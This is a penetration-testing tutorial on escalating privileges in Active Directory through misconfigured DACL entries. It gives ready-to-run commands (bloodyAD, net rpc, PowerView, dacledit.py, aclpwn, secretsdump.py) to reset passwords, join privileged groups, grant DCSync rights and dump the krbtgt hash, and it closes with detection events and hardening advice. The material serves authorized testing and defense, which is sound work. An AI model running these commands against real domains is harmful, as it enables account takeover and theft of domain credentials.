Disclaimer: This article is for education and authorized testing only. Run these techniques exclusively against systems you own or have explicit, written permission to assess. Abusing Active Directory permissions against systems you do not control is illegal and unethical.
Introduction / Overview
Most real-world Active Directory compromises do not hinge on a kernel zero-day. They hinge on misconfigured permissions. Every object in AD — users, groups, computers, the domain root itself — carries a Discretionary Access Control List (DACL) made up of Access Control Entries (ACEs). When an ACE grants a low-privileged principal the wrong right over a high-privileged object, that misconfiguration becomes a privilege escalation primitive.
In this article you'll learn how the most abused ACEs — GenericAll and WriteDACL — translate into concrete attacks: forcing a password reset (ForceChangePassword), adding yourself to a privileged group (AddMember), and rewriting an object's DACL outright with dacledit.py. We'll also automate chains with aclpwn, and then flip to the defender's perspective.
How it works / Background
A DACL is an ordered list of ACEs. Each ACE pairs a trustee (the principal) with an access mask and, optionally, an object type GUID that scopes the right to a specific property or extended right. The rights that matter most to an attacker:
| ACE / Right | What it lets you do |
|---|---|
GenericAll |
Full control — covers every other right below |
GenericWrite |
Write any non-protected attribute (e.g. scriptPath, SPNs) |
WriteDACL |
Rewrite the object's DACL — grant yourself GenericAll |
WriteOwner |
Set yourself as owner, then edit the DACL |
ForceChangePassword |
Reset the target user's password without the old one |
AddMember (Self/WriteProperty on member) |
Add a principal to a group |
AllExtendedRights |
DCSync (if on the domain object), password reset, etc. |
The key insight: WriteDACL is a meta-right. You may not start with GenericAll, but if you hold WriteDACL over an object you can add an ACE that grants yourself GenericAll, and from there do anything. This is why BloodHound graphs these edges — they are transitive paths to Domain Admin.
Prerequisites / Lab setup
- A domain-joined attack box (Linux with Impacket, or Windows with PowerView).
- Valid domain credentials for a low-privileged user (
corp.local\analyst). - BloodHound + a SharpHound/
bloodhound-pythoncollection to find the edges.
Collect data and look for GenericAll, WriteDacl, ForceChangePassword, and AddMember edges:
# Remote collection from Linux
bloodhound-python -u analyst -p 'P@ssw0rd' -d corp.local -ns 10.0.0.10 -c All
# In the BloodHound GUI, run the prebuilt query:
# "Shortest Paths to Domain Admins from Owned Principals"
Attack walkthrough / PoC
1. ForceChangePassword — take over a user
Suppose BloodHound shows analyst has ForceChangePassword over svc-backup. Reset that account's password with no knowledge of the current one:
# Impacket — reset a target user's password over SAMR/RPC
net rpc password "svc-backup" "NewP@ss123!" -U "corp.local"/"analyst"%"P@ssw0rd" -S dc01.corp.local
Or with Impacket's dedicated tooling and BloodyAD:
bloodyAD --host dc01.corp.local -d corp.local -u analyst -p 'P@ssw0rd' \
set password svc-backup 'NewP@ss123!'
From Windows with PowerView:
$pw = ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force
Set-DomainUserPassword -Identity svc-backup -AccountPassword $pw
You now control svc-backup. If you can't change a service account's password without breaking it, prefer targeted Kerberoasting (write an SPN with GenericWrite) or a shadow credential attack instead — see Kerberoasting.
2. AddMember — escalate via group membership
If analyst has GenericAll or AddMember (write to the member property) over the Helpdesk Admins group, just add yourself:
# Impacket net rpc
net rpc group addmem "Helpdesk Admins" "analyst" \
-U 'corp.local/analyst%P@ssw0rd' -S dc01.corp.local
# BloodyAD equivalent
bloodyAD --host dc01.corp.local -d corp.local -u analyst -p 'P@ssw0rd' \
add groupMember "Helpdesk Admins" analyst
# PowerView (Windows)
Add-DomainGroupMember -Identity 'Helpdesk Admins' -Members 'analyst'
Remember to remove yourself afterward during a real engagement to limit blast radius and clean up:
bloodyAD --host dc01.corp.local -d corp.local -u analyst -p 'P@ssw0rd' \
remove groupMember "Helpdesk Admins" analyst
3. WriteDACL → dacledit.py — grant yourself GenericAll
When you hold WriteDACL (or WriteOwner) over an object, rewrite its DACL. Impacket's dacledit.py makes this surgical. The classic high-value target: granting DCSync (the DS-Replication-Get-Changes + DS-Replication-Get-Changes-All extended rights) on the domain object:
# Grant analyst full control over a target user via WriteDACL
dacledit.py -action 'write' -rights 'FullControl' \
-principal 'analyst' -target 'svc-backup' \
'corp.local'/'analyst':'P@ssw0rd' -dc-ip 10.0.0.10
# Grant DCSync rights on the domain root (if you have WriteDACL there)
dacledit.py -action 'write' -rights 'DCSync' \
-principal 'analyst' -target-dn 'DC=corp,DC=local' \
'corp.local'/'analyst':'P@ssw0rd' -dc-ip 10.0.0.10
Then dump hashes:
secretsdump.py 'corp.local'/'analyst':'P@ssw0rd'@10.0.0.10 -just-dc-user krbtgt
Always back up the original DACL first so you can restore it (dacledit.py supports -action read and writes .bak files when modifying).
4. aclpwn — automate the whole chain
aclpwn (and the modern aclpwn-py) consumes BloodHound/Neo4j data, computes the shortest ACL-based path to your goal, executes each step, and records a restore file to revert changes:
aclpwn -f analyst -t "Domain Admins" \
-d corp.local -du neo4j -dp BloodHound \
--domain corp.local --server 10.0.0.10 -u analyst -p 'P@ssw0rd'
# Restore everything aclpwn changed afterwards:
aclpwn --restore restore_<timestamp>.json
Mermaid diagram

Text version: analyst uses WriteDACL to grant itself GenericAll over a service account, resets its password, joins a privileged group, then grants DCSync on the domain object and replicates the krbtgt hash for full compromise.
Detection & Defense (Blue Team)
ACL abuse is noisy if you are watching the right events. Defense matters at least as much as the offense.
1. Audit directory-service changes. Enable the "Audit Directory Service Changes" subcategory so DACL modifications are logged.
- Event ID 5136 — A directory service object was modified. Filter for changes to
nTSecurityDescriptor; this is the signal for WriteDACL /dacledit.pyabuse. The event includes the SDDL of the new descriptor. - Event ID 4738 — A user account was changed.
- Event ID 4724 / 4723 — Password reset / change.
4724(admin reset) against privileged accounts maps toForceChangePassword. - Event ID 4728 / 4732 / 4756 — A member was added to a global / local / universal security group (
AddMember). Alert on additions to Tier-0 groups. - Event ID 4662 — An operation was performed on an object. Watch for the replication GUIDs
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2and1131f6ad-9c07-11d1-f79f-00c04fc2dcd2(DCSync) from non-DC accounts.
# Hunt for security-descriptor modifications on the DC
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=5136} |
Where-Object { $_.Message -match 'nTSecurityDescriptor' }
2. Find the dangerous ACEs before attackers do. Run BloodHound defensively and review GenericAll, WriteDacl, WriteOwner, and Owns edges pointing at Tier-0 assets. Periodically baseline the domain object's DACL.
# Enumerate explicit, non-inherited ACEs on the domain head
(Get-Acl "AD:\DC=corp,DC=local").Access |
Where-Object { -not $_.IsInherited -and $_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner' }
3. Harden the structure.
- Implement Microsoft's tiered administration model and a clean AdminSDHolder configuration; let
SDPropreapply protected DACLs on Tier-0 groups every 60 minutes. - Remove broad, accidental grants (e.g.
Authenticated Usersor Help Desk with write over OUs). - Place sensitive accounts in the Protected Users group and mark them "Account is sensitive and cannot be delegated."
- Deploy LAPS for local admin passwords and monitor
ms-Mcs-AdmPwdread access.
4. Correlate behavior. Tools like Microsoft Defender for Identity flag suspicious DCSync replication and abnormal group membership changes. A non-DC requesting replication is almost always malicious.
For the lateral-movement that often follows DACL abuse, see Pass-the-Hash and NTLM Relay and DCSync and Domain Dominance.
Conclusion
DACLs are the connective tissue of an Active Directory privilege graph. GenericAll is total control, and WriteDACL is the meta-right that grants total control — both convert a forgotten checkbox into a path to Domain Admin via ForceChangePassword, AddMember, and dacledit.py, all of which aclpwn can chain automatically. The defensive answer is unglamorous but effective: audit nTSecurityDescriptor changes (Event 5136), watch Tier-0 group additions (4728/4732), graph your own ACLs with BloodHound, and enforce tiered administration so these edges never exist in the first place.
References
- MITRE ATT&CK — T1098 Account Manipulation: https://attack.mitre.org/techniques/T1098/
- MITRE ATT&CK — T1222 File and Directory Permissions Modification: https://attack.mitre.org/techniques/T1222/
- MITRE ATT&CK — T1003.006 OS Credential Dumping: DCSync: https://attack.mitre.org/techniques/T1003/006/
- HackTricks — Abusing Active Directory ACLs/ACEs: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse
- Impacket (
dacledit.py,secretsdump.py): https://github.com/fortra/impacket - aclpwn-py: https://github.com/fox-it/aclpwn.py
- BloodHound documentation: https://bloodhound.readthedocs.io/
- Microsoft — Securing privileged access / tiered model: https://learn.microsoft.com/en-us/security/privileged-access-workstations/overview



Comments